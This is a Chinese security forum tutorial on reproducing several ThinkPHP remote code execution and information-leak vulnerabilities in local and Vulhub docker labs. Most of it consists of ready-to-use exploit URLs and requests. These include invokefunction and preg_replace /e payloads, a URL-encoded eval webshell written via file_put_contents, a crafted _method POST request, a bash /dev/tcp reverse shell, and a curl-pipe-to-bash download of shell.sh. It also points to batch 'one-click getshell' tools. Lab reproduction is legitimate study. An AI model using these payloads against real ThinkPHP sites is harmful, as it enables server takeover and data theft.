ThinkPHP总结
前言
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为 ThinkPHP
它遵循 Apache2开源协议发布,从 Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了 Struts的思想和 TagLib(标签库)、RoR的ORM映射和 ActiveRecord模式。
ThinkPHP可在 Windows和 Linux等操作系统运行,支持 MySql,Sqlite和 PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。
同时ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架
本地安装
官网:http://www.thinkphp.cn/down.html
经典的版本就是这四大类
安装vc9_x86(必装)
安装phpstudy-2016
把Thinkphp的包搞到WWW目录下
这里要注意一下
默认的Thinkphp框架下是有robots.txt
的
存在信息泄露的
写入的shell或者一句话 也是在这个目录下
C:\phpStudy\WWW\a001\public
然后存放日志的目录 是这个
C:\phpStudy\WWW\a001\thinkphp\library\think\log
要对外访问的嘛 所以要配置域名
这里要注意 目录要选到public目录下 这样才能识别到这个目录下的router.php
这里也可以不用IP
如果你没有用IP的话 就要去改一下hosts文件
然后新增 保存一下
然后远程访问一下
本地漏洞复现
Poc1-phpinfo
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
Poc2-写入一句话
<?php e val($_POST['a']);?>
进行URL编码
最后的payload
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e
执行一下
这样子就是执行成功的
去底层看一下 这个shell.php
是被写到哪个目录下了
是成功写入的
蚁剑连接一下
可以看到是成功的
Vulhub-Thinkphp复现
Thinkphp 2.x 任意代码执行漏洞
漏洞原理
ThinkPHP2.x版本中,使用 preg_replace
的/e
模式匹配路由
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,
$paths));
导致用户的输入参数被插入双引号
中执行,造成任意代码执行漏洞
ThinkPHP3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞
影响版本
ThinkPHP 2.x
漏洞原理详解
由于是preg_replace
这个函数引起的漏洞,所以先来看看preg_replace
这个函数
这个函数是个替换函数,而且支持正则,使用方式如下
preg_replace('正则规则','替换字符','目标字符')
这个函数的3个参数,结合起来的意思是:
如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e
这个修饰符,则存在代码执行漏洞
e -->配合函数preg_replace()使用,可以把匹配来的字符串当作正则表达式执行
/e-->可执行模式,此为PHP专有参数,例如 preg_replace函数。
本地测试直接使用下面这行代码测试即可
沙箱地址:http://sandbox.onlinephpfunctions.com/
漏洞复现
cd vulhub-master/thinkphp/2-rcesudo docker-compose up -d
访问一下
在线沙箱 进行尝试
沙箱地址: http://sandbox.onlinephpfunctions.com/
<?php@preg_replace('/test/e','print_r("a001");','just test');
7.0以下的版本 存在/e 就可以任意代码执行
代码审计-docker底层分析
找寻一下这个函数
find . -name '*.php' | xargs grep -n 'preg_replace'
复制出来 搞到本地
存在/e
修饰符的脚本
./ThinkPHP/Mode/Lite/Dispatcher.class.php:115: $res = preg_replace('@(\w+)'.C('URL_PATHINFO_DEPR').'([^,\/]+)@e', '$pathInfo[\'\\1\']="\\2";', $_SERVER['PATH_INFO']);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:57: $rule = preg_replace('/{\$(_\w+)\.(\w+)\|(\w+)}/e',"\\3(\$\\1['\\2'])",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:58: $rule = preg_replace('/{\$(_\w+)\.(\w+)}/e',"\$\\1['\\2']",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:60: $rule = preg_replace('/{(\w+)\|(\w+)}/e',"\\2(\$_GET['\\1'])",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:61: $rule = preg_replace('/{(\w+)}/e',"\$_GET['\\1']",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:68: $rule = preg_replace('/{|(\w+)}/e',"\\1()",$rule);./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102: $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:224: $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', implode('/',$paths));./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:239: $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', str_replace($matches[0],'',$regx));./ThinkPHP/Common/extend.php:215: $str = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $str);./ThinkPHP/Common/functions.php:145: return ucfirst(preg_replace("/_([a-zA-Z])/e", "strtoupper('\\1')", $name));
漏洞的关键就是这里了 代码位置就是在这里了
漏洞验证
/index.php?s=/index/index/name/${@phpinfo()}
/index.php?s=/index/index/name/$%7B@phpinfo()%7D
Poc
/index.php?s=a/b/c/${@print(e val($_POST[1]))}
进行抓包
改成POST的包
1=system('id');
执行成功
反弹shell
bash -i >& /dev/tcp/192.168.175.130/8888 0>&1
nc开启监听
nc -lvvp 8888
python开启http服务
python -m SimpleHTTPServer 9999
进行执行
1=system("curl 192.168.175.130:9999/shell.sh | bash");
nc拿到shell
蚁剑连接的话
http://192.168.175.209:8080/index.php?s=a/b/c/${@print(e val($_POST[1]))}
Thinkphp5-5.0.22/5.1.29远程代码执行漏洞
漏洞原理
ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞。
影响版本:
5.0.22/5.1.29
漏洞复现
cd vulhub-master/thinkphp/5-rcesudo docker-compose up -d
成功访问
漏洞验证
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
任意代码执行
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
写入webshell
<?php e val($_POST['a']);?>URL编码%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e
最后的payload-->shell.php
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e
写入成功
去docker底层看一下
蚁剑连接
Thinkphp5.0.23远程代码执行漏洞
漏洞原理
ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5.0(<5.0.24)中,框架在获取请求方法时会错误地对其进行处理,就是在获取 method的方法中没有正确处理方法名,这使攻击者可以调用 Request类的任何方法,攻击者可以调用 Request类任意方法并构造利用链,从而导致远程代码执行漏洞
影响版本
Thinkphp5.0.0~5.0.23
影响版本
Thinkphp 5.0.0~ 5.0.23
漏洞复现
cd vulhub-master/thinkphp/5.0.23-rcesudo docker-compose up -d
访问一下靶机
漏洞验证
进行抓包
进行转换
这里给出完整的数据包
POST /index.php?s=captcha HTTP/1.1Host: 192.168.175.209:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0Accept: text/html,application/xhtml+x ml,application/x ml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheContent-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
反弹shell
把反弹shell 写到shell.sh中
python开启http服务
python -m SimpleHTTPServer 9999
nc开启监听
nc -vlp 8888
进行执行
curl 192.168.175.130:9999/shell.sh | bash
成功反弹shell
Thinkphp敏感信息泄露
漏洞原理
传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而 thinkphp5默认开启debug模式,在漏洞环境下构造错误旳SQL语法会泄漏数据库账户和密码。
影响版本
ThinkPhP <5.1.23
源码分析
<?phpnamespace app\index\controller;use app\index\model\User;class Index{ public function index() { $ids = input('ids/a'); $t = new User(); $result = $t->where('id', 'in', $ids)->select();\}\}
由上述代码可知,这里用助手函数input定义了参数ids的类型是数组
protected function parseMhere ($where, $options){ $whereStr = $this -> buildWhere($where, $options); if (! empty($options['soft_delete '])) { list ($field, $condition) = $options['soft_delete']; $binds = $this -> query ->getF ieldsBind($optlons); $whereStr = $whereStr ? '(' .$whereStr . ') AND ' : ' '; $whereStr = $whereStr. $this -> parseWhereIten($field, $condition, ' ', $options, $binds); } return empty($wherestr) ? ' ' : ' WHERE ' . $uhereStr;}
接着去找 where('id','in',$ids)
定义的内容,找到了最核心的方法 buildWhere和 parseWhereltem
接着找到定义'in'
的位置
<?php...$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);if (preg_match('/\W/', $bindName)) {//处理带非单词字符的字段名 $bindName = md5($bindName);}...} elseif (in_array($exp, ['NOT IN', 'IN'])) { // IN ັᧃ if ($value instanceof \Closure) { $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value); } else { $value = is_array($value) ? $value : explode(',', $value); if (array_key_exists($field, $binds)) { $bind = []; $array = []; foreach ($value as $k => $v) { if ($this->query->isBind($bindName . '_in_' . $k)) { $bindKey = $bindName . '_in_' . uniqid() . '_' . $k; } else { $bindKey = $bindName . '_in_' . $k; } $bind[$bindKey] = [$v, $bindType]; $array[] = ':' . $bindKey; } $this->query->bind($bind); $zone = implode(',', $array); } else { $zone = implode(',', $this->parse value($value, $field)); } $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')'; }
这段代码当引入了in或者 not in的时候遍历value的key和 value。
而key在绑定编译指令的时候又没有安全处理,所以导致了在预编译的时候SQL异常。
漏洞复现
这边在kali上用P牛的靶场
乌班图那边有点问题
kali安装docker
sudo apt install docker-compose
sudo systemctl start docker #启动dockercd /vulhub-master/thinkphp/in-sqlinjectionsudo docker-compose up -d
进行访问
漏洞验证
/index.php?ids[]=1&ids[]=2
Poc
/index.php?ids[0,updatex ml(0,concat(0xa,user()),0)]=1
枚举到数据库的账号和密码
Thinkphp自动化武器
Thinkphp综合利用工具
ThinkPHPBatchPoc群扫
执行看一下
可以去底层看一下
我们可以手动添加Poc
它可以自动补充http头
执行
-u 单个URL-f 执行文件
TPscan
AttackWebF rameworkTools
项目地址:[GitHub - Anonymous-ghost/AttackWebF rameworkTools: 本软件首先集成危害性较大前台rce(无需登录,或者登录绕过执行rce)。反序列化(利用链简单)。上传getshell。sql注入等高危漏洞直接就可以拿权限出数据。其次对一些构造复杂exp漏洞进行检测。傻瓜式导入url即可实现批量测试,能一键getshell检测绝不sql注入或者不是只检测。其中thinkphp 集成所有rce Exp Struts2漏洞集成了shack2 和k8 漏洞利用工具所有Exp并对他们的exp进行优化和修复此工具的所集成漏洞全部是基于平时实战中所得到的经验从而写入到工具里。例如:通达oA一键getshell实战测试 struts2一键getshell 等等](https://github.com/Anonymous-ghost/AttackWebF rameworkTools)
需要先安装4.5的.NET F ramework
然后要新建两个文本文档
Thinkphp攻击武器
双击打开就可以了
- 本文作者: 略略略
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/315
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!